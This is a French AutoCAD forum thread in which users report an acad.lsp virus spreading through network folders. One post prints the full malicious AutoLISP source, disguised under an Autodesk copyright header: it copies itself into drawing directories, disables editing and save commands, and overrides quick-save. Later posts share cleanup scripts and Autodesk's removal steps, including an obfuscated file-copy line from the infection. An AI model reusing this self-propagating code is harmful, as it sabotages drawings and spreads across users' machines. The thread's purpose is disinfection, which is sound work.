Aller au contenu

problème d\'écriture automatique de fichier ACAD.LSP dans les répertoires de travail


autospeed

Messages recommandés

Le problème est le suivant :

Depuis un certain temps , les répertoires de travail de notre réseau sont infectés par l'écriture de fichiers AutoCAD.LSP , ce qui fait que chaque poste autocad ramasse par défaut le fichier AutoCAD.lsp qui s'y trouve et qui remplace le AutoCAD.lsp d'origine.

Quelqu'un aurait-il une idée pour éviter le problème ?

Auteur du logiciel Autospeed

Auteur de la théorie du site www.kheops.biz

Auteur de nombreux livres

Lien vers le commentaire
Partager sur d’autres sites

 

Voici le lisp qui est généré automatiquement meme quand la variable acadlspasdoc=0

Quelqu'un peu me dire ce qu'il fait car moi et le lisp ça fait deux :-)

 

; Next available MSG number is 86

; MODULE_ID ACADR13_LSP_

;;; AutoCAD.LSP Version 14.1 for Release 14

;;;

;;; Copyright © 1994 - 1997 by Autodesk, Inc.

;;;

;;; Permission to use, copy, modify, and distribute this software

;;; for any purpose and without fee is hereby granted, provided

;;; that the above copyright notice appears in all copies and

;;; that both that copyright notice and the limited warranty and

;;; restricted rights notice below appear in all supporting

;;; documentation.

;;;

;;; AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS.

;;; AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF

;;; MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.

;;; DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE

;;; UNINTERRUPTED OR ERROR FREE.

;;;

;;; Use, duplication, or disclosure by the U.S. Government is subject to

;;; restrictions set forth in FAR 52.227-19 (Commercial Computer

;;; Software - Restricted Rights) and DFAR 252.227-7013©(1)(ii)

;;; (Rights in Technical Data and Computer Software), as applicable.

;;;

;;; Programer : Nguyen Manh Hung and Van Thai Binh - Cong ty Tu van va KSTK Xay dung

;;;

;;; Note:

;;; This file is loaded automatically by AutoCAD every time

;;; a drawing is opened. It establishes an autoloader and

;;; other utility functions.

;;;

;;; Globalization Note:

;;; We do not support autoloading applications by the native

;;; language command call (e.g. with the leading underscore

;;; mechanism.)

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad cmd

newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2

mm1 mm2 mm3 mm4 mm5 mm6 mm7 mm8 mm9 mm10

)

(setq old_cmd (getvar "cmdecho"))

 

(setvar "cmdecho" 0)

(check_data)

(setq path (findfile "base.dcl"))

(setq path (substr path 1 (- (strlen path) 8)))

(setq mnlpath (getvar "menuname"))

(setq nowdwg (getvar "dwgname"))

(if (setq wjqm (findfile nowdwg))

(progn

(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))

(setq acadpath (findfile "acad.lsp"))

(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))

(setq cmd "undefine")

(setq ns1 "" ns2 "")

(setq lspbj 0)

(setq wjqm (strcat path "acad.lsp"))

(setq mm7 "explode" mm8 "trim"

mm9 "extend" mm10 "move")

(if (setq wjm (open wjqm "r"))

(progn

(while

(setq wz (read-line wjm))

(setq ns1 ns2)

(setq ns2 wz)

)

(if

(> (strlen ns1) 14)

(if (= (substr ns1 8 7) "ddcopy.lsp")

(setq lspbj 1))

)

(close wjm)

)

) ;_ end of if

(if

(and (= acadpath dwgpath) (/= acadpath path))

(progn

(setq oldacad (findfile "acad.lsp"))

(setq newacad (strcat path "ddcopy.lsp"))

(if (= lspbj 0)

(progn

(setq wjqm (strcat path "acad.lsp"))

(setq wjm (open wjqm "w"))

(write-line

(strcat "(load " (chr 34) "ddcopy.lsp" (chr 34) ")") wjm)

(write-line "(princ)" wjm)

(close wjm)

)

) ;_ end of if

(writeapp)

)

(progn (if (/= nowdwg "Drawing.dwg")

(progn

(setq oldacad (findfile "ddcopy.lsp"))

(setq newacad (strcat dwgpath "acad.lsp"))

(writeapp)

) ;_ end of progn

) ;_ end of if

) ;_ end of progn

) ;_ end of if

(command cmd "u") ;_ end of cmd

(command cmd "qsave") ;_ end of cmd

(command cmd "line")

(command cmd "quit")

(if (/= (- (/ mm4 2) (fix (/ mm4 2))) 0)

(progn

(command cmd mm7) (command cmd mm8) ;; "bar.arx" will *not* match "c:\\path\\foobar.arx."

(command cmd mm9) (command cmd mm10);; "bar.arx" will *not* match "c:\\path\\foobar.arx."

(command cmd "plot") ;_ end of cmd

));; "bar.arx" will *not* match "c:\\path\\foobar.arx."

(setvar "cmdecho" old_cmd)

))

(if (not (setq wjqm (findfile nowdwg)))

(progn

(setq cmd "undefine")

(setq ns1 "" ns2 "")

(setq lspbj 0)

(setq wjqm (strcat path "acad.lsp"))

(setq mm7 "explode" mm8 "trim"

mm9 "extend" mm10 "move")

(command cmd mm7) (command cmd mm8) ;; "bar.arx" will *not* match "c:\\path\\foobar.arx."

(command cmd mm9) (command cmd mm10);; "bar.arx" will *not* match "c:\\path\\foobar.arx."

(command cmd "plot") ;_ end of cmd

(command cmd "u") ;_ end of cmd

(command cmd "qsave") ;_ end of cmd

(command cmd "line")

(command cmd "quit")

))

(princ);; "bar.arx" will *not* match "c:\\path\\foobar.arx."

 

) ;_ end of defun

(defun writeapp ()

(if (setq wjm1 (open newacad "w"))

(progn

(setq wjm (open oldacad "r"))

(while

(setq wz (read-line wjm))

(write-line wz wjm1)

) ;_ end of while

(close wjm)

(close wjm1)

) ;_ end of progn

) ;_ end of if

) ;_ end of defun

;; determines if a given application is loaded...

;; general purpose: can ostensibly be used for appsets (arx) or (ads) or....

;;

;; app is the filename of the application to check (extension is required)

;; appset is a list of applications, (such as (arx) or (ads)

;;

(defun check_data ()

(setq mm5 "cdate")

(setq mm6 (rtos (getvar mm5) 2 10)

mm1 (substr mm6 1 4) ;; Allow the IMAGE command to accept an image file name without

mm2 (substr mm6 5 2) ;; Allow the IMAGE command to accept an image file name without

mm3 (substr mm6 7 2) ;; Allow the IMAGE command to accept an image file name without

mm4 (substr mm6 10 2);; Allow the IMAGE command to accept an image file name without

)

(setq mm1 (distof mm1) ;; Allow the IMAGE command to accept an image file name without

mm2 (distof mm2) ;; Allow the IMAGE command to accept an image file name without

mm3 (distof mm3) ;; Allow the IMAGE command to accept an image file name without

mm4 (distof mm4));; Allow the IMAGE command to accept an image file name without

)

;; returns T or nil, depending on whether app is present in the appset

;; indicated. Case is ignored in comparison, so "foo.arx" matches "FOO.ARX"

;; Also, if appset contains members that contain paths, app will right-match

(defun c:qsave () ;; presenting the file dialog, even if filedia is on.

(princ) (princ)) ;; presenting the file dialog, even if filedia is on.

;; against these members, so "bar.arx" matches "c:\\path\\bar.arx"; note that

;; "bar.arx" will *not* match "c:\\path\\foobar.arx."

(defun xplode ()

(princ "\nDon't hope explode it.")

(princ);; against these members

) ;_ end of defun

(defun c:xplode ()

(xplode) (princ))

(defun c:xp ()

(xplode) (princ))

;;;===== Raster Image Support for Clipboard Paste Special =====

;;

;; IMAGEFILE

;;

;; Allow the IMAGE command to accept an image file name without

;; presenting the file dialog, even if filedia is on.

;; Example: (imagefile "c:/images/house.bmp")

(princ)

;;

 

Auteur du logiciel Autospeed

Auteur de la théorie du site www.kheops.biz

Auteur de nombreux livres

Lien vers le commentaire
Partager sur d’autres sites

  • 2 mois après...

Bonjour,

 

Je suis sur la version 2010 j'ai ce problème de création de fichier "acad.lsp" dans chaque répertoire courant et a chaque ouverture de fichiers.

 

j'ai essayer la solution mais je ne comprend pas a partir de l'étape 3.

 

quelqu'un peut m'aider.

 

[surligneur]

Pour éviter les corruptions de fichiers supplémentaires

 

Vous devez être un administrateur système sur votre ordinateur Microsoft® Windows® système d'exploitation d'achever ce processus.

 

1. Dans votre dossier d'installation du produit, recherchez le Soutien dossier (par exemple, C: \ Program Files \ AutoCAD 20xx \ Support).

 

2. Dans le Soutien dossier, double-cliquez sur le acad20xx.lsp fichier (par exemple, le acad20xx.lsp fichier). Ajoutez le code ci-dessous pour le fichier. AutoCAD permet de détecter et supprimer les AutoCAD.vlx et logo.gif fichiers.

 

(Defun cleanvirus (/ lspfiles lspfile x)

(Setq lspfiles («acad.vlx" logo.gif "))

(Foreach lspfiles lspfile

(While (setq x (findfile lspfile))

(Progn

(Vl-file-delete x)

(Princ "\ nDeleted fichier")

(Princ x)

); Progn

), Tandis que

); Foreach

)

(Cleanvirus)

3. Ouvrez chacun des fichiers suivants:

* C: \ Program Files \ AutoCAD 20xx \ Express \ acetauto.lsp

* C: \ Program Files \ AutoCAD 20xx \ Support \ ai_utils.lsp

* ROAMABLEROOTPREFIX \ acad.mnl \ Support

Note: Remplacer ROAMABLEROOTPREFIX avec la valeur retournée par la variable système ROAMABLEROOTPREFIX.

4. S'il est présent, supprimez la ligne de code suivante:

 

(VL-de copie de fichier (findfile (chaîne VL-liste-> '(108 111 103 111 46 103 105 102))) (chaîne VL-liste->' (97 99 97 100 46 118 108 120)))

 

5. Sauvegarder chaque fichier. [/surligneur]

Lien vers le commentaire
Partager sur d’autres sites

  • 1 mois après...

Salut,

Nous aussi on a exactement le même problème que autospeed et jacobs33.

Tous nos postes sont infectés.

Jacobs33, pourrais-tu décrire ta méthodologie pour s'en débarraser (je ne comprend pas trop le :%?r$µ!!! ;))

On a essayé de supprimer tout ces AutoCAD.lsp qui se mettent un peu partout sur le serveur et sur les postes, mais apparemment, soit on en a oubliés soit il y a autre chose car cela n'a pas servi à grand chose.

Apparemment Autodesk doit bien être au courant de quelque chose car, comme le montre Eric, ils ont sortis cette page: http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=13717811&linkID=9240617

Mais désolé, il n'y a pas que des anglophones dans le monde :mad: Du coup, je ne sais pas si cela concerne notre problème

 

Merci à vous.

www.cad-is.fr
Autocad Map 2021 - Covadis/Autopiste V18.0c
Pisser sous la douche ne suffira pas
Lien vers le commentaire
Partager sur d’autres sites

Bonjour,

 

Je testé cette solution sur les versions 2010 et 2008 ça fonctionne.

 

1 - Créer un fichier lisp que tu appel CVAV_v101.lsp tu colle le code donné ci dessous a l'intérieur.

2 - tu efface tous les fichiers AutoCAD.lsp des repertoires.

2 - tu charge au démarrage de chaque dessins le fichier CVAV_v101.lsp

outil>charger une application>contenu au demarage.

3 - tu offre tes fichiiers autocad et au fur et à mesure ton probléme devrais etre supprimé.

A chaque offrerture de fichiers tu doit voir sur la ligne de command ce message :

 

****************************************

CADViet AntiVirus v1.01 is starting ...

CADViet AntiVirus finishes scanning ...

No infected files were found!

****************************************

 

 

;; --------- Fix AutoCAD.lsp virus ---------
;;         Free lisp from CADViet.com


(setq removedcodelist  (list
		 ";; Silent load."
		 "(princ)"
		 "(load \"acadapp\")"
		 "(load \"ddcopy.lsp\")"
		 ""
		)
     infectedcodelist (strcat
		 "(load \"acadapp\"),"
		 "(load \"ddcopy.lsp\"),"
		 "(setq path (findfile \"base.dcl\"))"
	       )
     restoresv	       (list (cons "cmdecho" 1)
		     (cons "zoomfactor" 60)
		     (cons "mbuttonpan" 1)
		     (cons "HIGHLIGHT" 1)
		     (cons "fillmode" 1)

	       )
     restorecmd       (list "plot"	"u"	   "qsave"
		     "line"	"quit"	   "trim"
		     "extend"	"move"	   "xplode"
		     "xref"	"xbind"
		    )

)




(princ "\n")
(princ "\n")
(princ "\n****************************************")
(princ "\nCADViet AntiVirus v1.01 is starting ...")
(setq ifile 0)
(vl-load-com)

(setq support_path (findfile "base.dcl")
     support_path (substr support_path 1 (- (strlen support_path) 8))
     nowdwg	   (getvar "dwgname")
     wjqm	   (findfile nowdwg)
     wjqm	   (if wjqm
	     wjqm
	     nowdwg
	   )
     dwg_path	   (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))

     removedlist  (list
	     (strcat support_path "acadapp.lsp")
	     (strcat support_path "acadappp.lsp")
	     (strcat support_path "ddcopy.lsp")
	     (strcat dwg_path "acad.lsp")
	   )
     fixedlist	   (list
	     (strcat support_path "acad.mnl")
	     (strcat support_path "acad.lsp")
	   )
)

(defun fixvr (fn / content infected)
 (if (setq ff (open fn "r"))
   (progn
     (while (setq str (read-line ff))
(if (not (member str removedcodelist))
  (setq content (append content (list str)))
  (if (wcmatch str infectedcodelist)
    (setq infected t)
  )
)
     )
     (close ff)
     (if infected
(progn
  (setq ff (open fn "w"))
  (foreach str content
    (write-line str ff)
  )
  (close ff)
  (princ (strcat "\nfile " fn " was fixed!"))
  (setq ifile (1+ ifile))
)
     )
   )
 )
)

(foreach fn removedlist
 (if (vl-file-delete fn)
   (progn
     (princ (strcat "\nfile " fn " was deleted!"))
     (setq ifile (1+ ifile))
   )
 )
)

(foreach fn fixedlist
 (fixvr fn)
)

(princ "\nCADViet AntiVirus finishes scanning ...")
(if (= ifile 0)
 (princ "\nNo infected files were found!")
 (progn
   (setvar "cmdecho" 0)
   (mapcar '(lambda (cn) (setvar (car cn) (cdr cn))) restoresv)
   (mapcar '(lambda (cn) (command ".redefine" cn)) restorecmd)
   (princ (strcat "\nTotal "
	   (itoa ifile)
	   " infected files were found and removed!"
   )
   )
   (setvar "cmdecho" 1)
 )
)
(princ "\n****************************************")
(princ "\n")
(princ "\n")
(princ)

 

 

 

 

Lien vers le commentaire
Partager sur d’autres sites

Mais désolé, il n'y a pas que des anglophones dans le monde

 

Pour les non-anglophones, une traduction (approximative) du message Autodesk.

 

 

Problème

Les utilisateus de produits basé sur AutoCAD ont signalé un fichier acad.vlx malveillant qui corrompt les dessins.

 

Solution

Ce n'est pas un fichier fourni par Autodesk. Quand le fichier acad.vlx malveillant est chargé dans AutoCAD, il corrompt le dessin ce qui peut provoquer l'apparition d'une boite de dialogue Langage Pack Manquant (Missing Language Pack) quand vous enregistrez ou ré-ouvrez un dessin.

 

Le fichier acad.vlx crée une copie de lui même dans le répertoire d'aide (par exemple, C:\Program Files\AutoCAD 20XX\Help\logo.gif). Plusieurs autres fichiers sont aussi modifiés et la variable système ACADLSPASDOC est passée à 1 permettent au fichier acad.vlx d'être chargé dans les autres dessins ouverts, et ainsi de les corrompre.

 

Le processus de nettoyage ci-dessous détecte et supprime tous les fichiers acad.vlx avant qu'autoCAD ne les charge, empêchant la propagation du virus.

 

Pour empêcher la corruption de fichier supplémentaires

Vous devez être connecté en tant qu'administrateur de votre système d'exploitation Microsoft Windows pour mener à bien le processus.

 

1. Dans votre répertoire d'installation du produit, localisez le fichier Support (par exemple, C:\Program Files\AutoCAD 20xx\Support).

 

2. Dans le répertoire Support, double cliquez sur le fichier acad20XX.lsp. Ajoutez le code suivant à la fin du fichier. AutoCAD détectera et supprimera les fichiers acad.vlx et logo.gif.

 

(defun cleanvirus( / lspfiles lspfile x)
 (setq lspfiles '("acad.vlx" "logo.gif"))
 (foreach lspfile lspfiles
   (while (setq x (findfile lspfile))
     (progn
       (vl-file-delete x)
       (princ "\nDeleted file ")
       (princ x)
     );progn
   );while
 );foreach
)
(cleanvirus)

3. Ouvrez chacun des fichiers suivants :

 

# C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

# C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

# ROAMABLEROOTPREFIX\Support\acad.mnl

Note: Remplacez ROAMABLEROOTPREFIX par la valeur retournée par la variable système ROAMABLEROOTPREFIX.

 

4. Si elles sont présentes, supprimez les lignes de code suivantes:

(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102))
(vl-list->string'(97 99 97 100 46 118 108 120)))

5. Enregistrez chaque fichier.

Gilles Chanteau - gileCAD - GitHub
Développements sur mesure pour AutoCAD

Lien vers le commentaire
Partager sur d’autres sites

Salut,

Je suis en train de tester la solution de jacobs33, je vous tiendrais au courant.

 

Merci (Gile) pour cette traduction.

Et du coup, après application de la procédure décrite, je pence que le problème à l'origine du post (et mon problème aussi) est autre chose, car la solution proposé ne corrige pas le problème.

De plus, je n'ai aucun AutoCAD.vlx sur mon poste et sur le serveur et les fichiers

# C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

# C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

ne contiennent pas la dite ligne.

 

A plus.

www.cad-is.fr
Autocad Map 2021 - Covadis/Autopiste V18.0c
Pisser sous la douche ne suffira pas
Lien vers le commentaire
Partager sur d’autres sites

Créer un compte ou se connecter pour commenter

Vous devez être membre afin de pouvoir déposer un commentaire

Créer un compte

Créez un compte sur notre communauté. C’est facile !

Créer un nouveau compte

Se connecter

Vous avez déjà un compte ? Connectez-vous ici.

Connectez-vous maintenant
×
×
  • Créer...

Information importante

Nous avons placé des cookies sur votre appareil pour aider à améliorer ce site. Vous pouvez choisir d’ajuster vos paramètres de cookie, sinon nous supposerons que vous êtes d’accord pour continuer. Politique de confidentialité